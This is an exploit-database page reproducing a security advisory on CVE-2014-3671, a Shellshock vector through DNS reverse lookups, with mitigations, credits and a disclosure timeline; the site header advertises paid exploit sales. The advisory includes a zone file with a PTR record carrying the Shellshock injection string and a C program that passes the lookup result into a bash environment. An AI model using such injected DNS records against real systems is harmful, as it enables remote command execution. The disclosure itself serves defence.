0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
DNS Reverse Lookup Shellshock Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
DNS Reverse Lookup as a vector for the Bash vulnerability (CVE-2014-6271 et.al.) CVE-2014-3671 references: CVE-2014-6271, CVE-2014-7169, CVE-2014-6277, CVE-2014-6278 CVE-2014-7186 and, CVE-2014-7187 * Summary: Above CVEs detail a number of flaws in bash prior related to the parsing of environment variables (aka BashBug, Shellshock). Several networked vectors for triggering this bug have been discovered; such as through dhcp options and CGI environment variables in webservers [1]. This document is to advise you of an additional vector; through a reverse lookup in DNS; and where the results of this lookup are passed, unsanitized, to an environment variable (e.g. as part of a batch process). This vector is subtly different from a normal attack vector, as the attacker can 'sit back' and let a (legitimate) user trigger the issue; hence keeping the footprint for a IDS or WAAS to act on small. * Resolvers/systems affected: At this point of time the stock resolvers (in combination with the libc library) of OSX 10.9 (all versions) and 10.10/R2 are the only known standard installations that pass the bash exploit string back and up to getnameinfo(). That means that UNpatched systems are vulnerable through this vector PRIOR to the bash update documented in http://support.apple.com/kb/DL1769. Most other OS-es (e.g. RHEL6, Centos, FreeBSD 7 and up, seem unaffected in their stock install as libc/libresolver and DNS use different escaping mechanisms (octal v.s. decimal). We're currently following investing a number of async DNS resolvers that are commonly used in DB cache/speed optimising products and application level/embedded firewall systems. Versions affected: See above CVEs as your primary source. * Resolution and Mitigation: In addition to the mitigations listed in above CVEs - IDSes and similar systems may be configured to parse DNS traffic in order to spot the offending strings. Also note that Apple DL1769 addresses the Bash issue; NOT the vector through the resolver. * Reproducing the flaw: A simple zone file; such as: $TTL 10; $ORIGIN in-addr.arpa. @ IN SOA ns.boem.wleiden.net dirkx.webweaving.org ( 666 ; serial 360 180 3600 1800 ; very short lifespan. ) IN NS 127.0.0.1 * PTR "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS" can be used to create an environment in which to test the issue with existing code or with the following trivial example: #include <sys/socket.h> #include <netdb.h> #include <assert.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> int main(int argc, char ** argv) { struct in_addr addr; struct sockaddr_in sa; char host[1024]; assert(argc==2); assert(inet_aton(argv[1],&addr) == 1); sa.sin_family = AF_INET; sa.sin_addr = addr; assert(0==getnameinfo((struct sockaddr *)&sa, sizeof sa, host, sizeof host, NULL, 0, NI_NAMEREQD)); printf("Lookup result: %s\n\n", host); assert(setenv("REMOTE_HOST",host,1) == 0); execl("/bin/bash",NULL); } Credits and timeline The flaw was found and reported by Stephane Chazelas (see CVE-2014-6271 for details). Dirk-Willem van Gulik (dirkx(at)webweaving.org) found the DNS reverse lookup vector. 09-04-2011 first reported. 2011, 2014 issue verified on various embedded/firewall/waas systems and reported to vendors. ??-09-2014 Apple specific exploited seen. 11-10-2014 Apple confirms that with DL1769 in place that "The issue that remains, while it raises interesting questions, is not a security issue in and of itself." * Common Vulnerability Scoring (Version 2) and vector: See CVE-2014-6271. 1:https://github.com/mubix/shellshocker-pocs/blob/master/README.md) 1.10 / : 1726 $ # 0day.today [2024-11-15] #